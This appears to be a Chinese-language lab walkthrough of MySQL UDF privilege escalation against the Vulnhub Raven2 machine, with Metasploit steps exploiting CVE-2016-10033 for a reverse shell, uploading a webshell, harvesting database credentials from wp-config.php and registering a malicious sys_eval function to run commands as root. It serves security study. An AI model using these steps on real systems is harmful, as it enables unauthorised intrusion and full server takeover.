Mysql UDF提权复现(Linux)

admin 2025年2月19日23:49:24评论17 views字数 1769阅读5分53秒阅读模式

宇宙免责声明!!!

本推文提供的信息、技术和方法仅用于教育目的。文中讨论的所有案例和技术均旨在帮助读者更好地理解相关安全问题,并采取适当的防护措施来保护自身系统免受攻击。

严禁将本文中的任何信息用于非法目的或对任何未经许可的系统进行测试。未经授权尝试访问计算机系统或数据是违法行为,可能会导致法律后果。

作者不对因阅读本文后采取的任何行动所造成的任何形式的损害负责,包括但不限于直接、间接、特殊、附带或后果性的损害。用户应自行承担使用这些信息的风险。

我们鼓励所有读者遵守法律法规,负责任地使用技术知识,共同维护网络空间的安全与和谐。

一、原理

  • MySQL 支持用户通过加载动态链接库(DLL 文件或 .so 文件)来扩展数据库的功能,允许用户创建自定义函数(UDF)。这些函数可以调用外部代码,执行系统命令或操作文件系统。

    • 在 Windows 系统中,使用 .dll 文件。
    • 在 Linux 系统中,使用 .so 文件。
  • 攻击者利用 MySQL 的 UDF 功能,将恶意编写的动态链接库文件上传到服务器,并通过 SQL 语句注册该库中的函数,从而实现以下目标:

    • 执行系统命令。
    • 创建新的操作系统用户。
    • 修改系统配置以获取更高权限。

二、UDF提权的前提条件

  • 数据库用户权限
    • 需要一个高权限的MySQL账号,比如root账号。
  • secure_file_priv
    无限制
    • 值为空:表示不对导入/导出操作做任何限制,此时才有可能进行UDF提权
    • MySQL 5.5之前secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件;MySQL 5.5之后secure_file_priv默认是NULL,这个情况下不可以写文件,也就无法使用udf提权了。
SHOW VARIABLES LIKE'secure_file_priv';
  • mysql的插件目录有写入权限
    • 如果plugin_dir不存在或不可写,则无法完成UDF提权
SHOW VARIABLES LIKE'plugin_dir';

三、靶场复现

  • 靶机(vuluhub)下载地址:https://download.vulnhub.com/raven/Raven2.ova
  • 靶标首页
Mysql UDF提权复现(Linux)

MSF反弹shell

  • 前面如何发现可利用的漏洞网上大把文章,可以自己搜索一波
  • 搜索与CVE-2016-10033相关的模块
search CVE-2016-10033
Mysql UDF提权复现(Linux)
  • 选择对应脚本
use 0
Mysql UDF提权复现(Linux)
  • 利用该脚本进行攻击,此时会写入一个随机命名的php文件
set RHOSTS 192.168.1.105     //设置目标主机地址为192.168.1.101set TARGETURI /contact.php   //设置触发漏洞的页面,因为这个漏洞存在点就是这个模板文件set WEB_ROOT /var/www/html   //设置目标服务器上网站的根目录(用于写入Payload)run
Mysql UDF提权复现(Linux)
  • 访问这个文件,触发反弹shell
Mysql UDF提权复现(Linux)
Mysql UDF提权复现(Linux)
  • 进入建立的会话,查看当前用户,发现是一个低权限用户
sessionssessions -i 1//看前面的会话id是哪个getuid
Mysql UDF提权复现(Linux)
  • 可以通过MSF上传一个webshell到目标,方便操作(注意路径)
upload ./shell.php
Mysql UDF提权复现(Linux)
Mysql UDF提权复现(Linux)
Mysql UDF提权复现(Linux)

找数据库配置文件,连接数据库

  • /var/www/html/wordpress/wp-config.php文件发现数据库账号密码,但是只允许本地连接
Mysql UDF提权复现(Linux)
  • 此时通过webshell工具可以直接操作数据库
Mysql UDF提权复现(Linux)
Mysql UDF提权复现(Linux)

提权

  • 查看secure_file_priv是否无限制
SHOW VARIABLES LIKE 'secure_file_priv';
Mysql UDF提权复现(Linux)
  • 查看Mysql的插件目录是否存在和路径信息
Mysql UDF提权复现(Linux)
  • 拼接插件目录的路径,将一个经过十六进制编码的共享库文件(xxx.so)写入MySQL服务器的插件目录(植入恶意共享库),用于后续执行任意代码或系统命令(具体的.so文件内容可以在网上找,或者利用kali原生自带的)
Mysql UDF提权复现(Linux)
  • 创建一个自定义函数sys_eval,并通过指定的动态链接库文件(test.so)来实现系统命令执行
createfunction sys_eval returns string soname "test.so";
Mysql UDF提权复现(Linux)
  • 此时通过sql语句执行命令,会发现当前用户权限为root
select sys_eval("id");
Mysql UDF提权复现(Linux)

原文始发于微信公众号(Zer0 sec):Mysql UDF提权复现(Linux)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月19日23:49:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mysql UDF提权复现(Linux)https://cn-sec.com/archives/3763003.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息